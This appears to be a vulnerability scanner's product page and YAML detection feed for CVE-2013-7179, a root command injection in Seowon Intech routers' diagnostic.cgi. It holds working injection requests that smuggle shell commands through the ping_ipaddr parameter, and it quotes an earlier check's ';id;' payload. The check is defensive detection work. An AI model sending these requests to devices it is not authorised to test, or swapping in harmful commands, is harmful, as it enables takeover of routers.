Seowon Intech — 1 vulnerability check
noctis ships 1 vulnerability check for Seowon Intech, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Seowon Intech router diagnostic.cgi unauthenticated command execution
| CVE | CVE-2013-7179 |
|---|---|
| Severity | high · CVSS 8.3 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/seowonintech/CVE-2013-7179.yaml |
Detects the unauthenticated command injection in the ping tool of Seowon Intech routers such as the SWC-9100: /cgi-bin/diagnostic.cgi passes the ping_ipaddr parameter to the shell without checking it. The feed sends a GET request to /cgi-bin/diagnostic.cgi with a ping of 127.0.0.1 followed by a harmless shell command that prints NOCTIS and the sum of two random numbers, computed with `expr`; when that gives no proof, a second request computes the sum with shell arithmetic instead. The finding fires when the computed sum comes back in the response, which only happens when the router ran the command without asking for a password. Nothing is read or written on the device.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/diagnostic.cgi?select_mode_ping=on&ping_ipaddr=-q%20-s%200%20127.0.0.1;echo%… - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/diagnostic.cgi?select_mode_ping=on&ping_ipaddr=-q%20-s%200%20127.0.0.1;echo%… - Checks
inj.bannerforNOCTIS[0-9]{7}→ finding QoD 97: Unauthenticated GET /cgi-bin/diagnostic.cgi?select_mode_ping=on&ping_ipaddr=...;echo NOCTIS`expr … + …`; ran the command and returned the s… - Checks
inj2.bannerforNOCTIS[0-9]{7}→ finding QoD 97: Unauthenticated GET /cgi-bin/diagnostic.cgi?select_mode_ping=on&ping_ipaddr=...;echo NOCTIS$((…+…)); ran the command and returned the shell…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-7179
- https://www.kb.cert.org/vuls/id/431726
- https://www.exploit-db.com/exploits/26412
- https://www.exploit-db.com/exploits/39074
Feed source — tests/vulnerabilities/seowonintech/CVE-2013-7179.yaml
# Seowon Intech (Seowonintech) routers — diagnostic.cgi ping_ipaddr
# unauthenticated command execution (CVE-2013-7179)
#
# Ported from OpenVAS/Greenbone NASL 2013/gb_multiple_seowonintech_devices_rce_06_13.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103745, GPL-2.0-only). The NASL requests
# /cgi-bin/diagnostic.cgi?select_mode_ping=on&ping_ipaddr=-q%20-s%200%20127.0.0.1;id;&ping_count=1&action=Apply&html_view=ping
# and matches `uid=[0-9]+.*gid=[0-9]+`. diagnostic.cgi (served by thttpd 2.25b)
# hands ping_ipaddr to the shell as the ping target, so anything after `;`
# runs as root and its output comes back in the response, printed before the
# CGI's own `Content-type:` header (EDB-26412, EDB-39074).
#
# The backlog issue also lists CVE-2013-7183, which is a different bug of the
# same firmware (cgi-bin/reboot.cgi reboot / factory reset, a DoS). This feed
# never touches reboot.cgi, so the finding names only CVE-2013-7179.
#
# Better than the NASL:
# - Proof: instead of `id`, the injected command is
# `echo NOCTIS`expr a + b`` with two random 6-digit numbers, then (only if
# that gave no proof) `echo NOCTIS$((a+b))` in a second request. The sum is
# never in the request, so a page that reflects ping_ipaddr (even through a
# filter stripping `$`, `(`, `)` or backticks) cannot match — only a shell
# that ran the command prints it. Two forms because old BusyBox msh lacks
# $((...)) and minimal BusyBox builds may lack the expr applet; two requests
# because a shell that rejects $((...)) as a syntax error would void the
# whole line. Nothing is read or written on the device.
# - HTTPS is covered too (tcp_connect auto-TLS).
# Raw tcp_connect (HTTP/1.0): the percent-encoded command must go out exactly
# as written, and the reply starts with shell output where an HTTP client
# expects headers.
# CVSS 8.3 is the NVD v2 score of CVE-2013-7179 (NVD has no v3 score).
uid: 166fde16-811b-43b0-98fa-30d1eea015f4
name: "Seowon Intech router diagnostic.cgi unauthenticated command execution (CVE-2013-7179)"
description: |
Detects the unauthenticated command injection in the ping tool of Seowon
Intech routers such as the SWC-9100: /cgi-bin/diagnostic.cgi passes the ping_ipaddr parameter to the shell
without checking it. The feed sends a GET request to
/cgi-bin/diagnostic.cgi with a ping of 127.0.0.1 followed by a harmless
shell command that prints NOCTIS and the sum of two random numbers,
computed with `expr`; when that gives no proof, a second request computes
the sum with shell arithmetic instead. The finding fires when the computed
sum comes back in the response, which only happens when the router ran the
command without asking for a password. Nothing is read or written on the
device.
cves: [CVE-2013-7179]
cvss: 8.3
severity: high
category: rce
confidence_base: 0.30
tags: [seowonintech, seowon, swc-9100, router, rce, command-injection, pre-auth, intrusive, thttpd]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-7179"
- "https://www.kb.cert.org/vuls/id/431726"
- "https://www.exploit-db.com/exploits/26412"
- "https://www.exploit-db.com/exploits/39074"
- "OpenVAS/Greenbone NASL 2013/gb_multiple_seowonintech_devices_rce_06_13.nasl (GPL-2.0-only)"
steps:
# Pre-initialise the stored results read by the confirm conditions.
- id: init-inj
action: set_var
var_name: inj
var_value: {connected: false, banner: ""}
- id: init-inj2
action: set_var
var_name: inj2
var_value: {connected: false, banner: ""}
# Random operands; only their sum (never sent) proves execution.
- id: build
action: script
store_as: p
code: |
let a = rand_int(500000, 999999);
let b = rand_int(500000, 999999);
#{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b) }
# 1st form: ping_ipaddr = -q -s 0 127.0.0.1;echo NOCTIS`expr a + b`;
# (any Bourne shell, BusyBox msh too)
- id: inject
action: tcp_connect
port: "{{port}}"
send: "GET /cgi-bin/diagnostic.cgi?select_mode_ping=on&ping_ipaddr=-q%20-s%200%20127.0.0.1;echo%20NOCTIS%60expr%20{{p.a}}%20%2B%20{{p.b}}%60;&ping_count=1&action=Apply&html_view=ping HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: inj
- id: check-expr
action: script
store_as: hit
code: |
type_of(inj.banner) == "string" && stridx(inj.banner, p.marker) >= 0
# 2nd form, only when the 1st gave no proof (BusyBox without the expr
# applet): ping_ipaddr = -q -s 0 127.0.0.1;echo NOCTIS$((a+b)); — sent
# separately so a shell that rejects $((...)) as a syntax error cannot also
# void the expr form.
- id: inject-arith
action: tcp_connect
port: "{{port}}"
condition: "hit == false"
send: "GET /cgi-bin/diagnostic.cgi?select_mode_ping=on&ping_ipaddr=-q%20-s%200%20127.0.0.1;echo%20NOCTIS%24%28%28{{p.a}}%2B{{p.b}}%29%29;&ping_count=1&action=Apply&html_view=ping HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: inj2
- id: confirm-expr
action: match
source: inj.banner
pattern: "NOCTIS[0-9]{7}"
condition: "hit == true"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Unauthenticated GET /cgi-bin/diagnostic.cgi?select_mode_ping=on&ping_ipaddr=...;echo NOCTIS`expr {{p.a}} + {{p.b}}`; ran the command and returned the shell-computed marker {{p.marker}} at {{target_host}}:{{port}}"
stop: true
- id: confirm-arith
action: match
source: inj2.banner
pattern: "NOCTIS[0-9]{7}"
condition: "hit == false && type_of(inj2.banner) == \"string\" && stridx(inj2.banner, p.marker) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Unauthenticated GET /cgi-bin/diagnostic.cgi?select_mode_ping=on&ping_ipaddr=...;echo NOCTIS$(({{p.a}}+{{p.b}})); ran the command and returned the shell-computed marker {{p.marker}} at {{target_host}}:{{port}}"
stop: true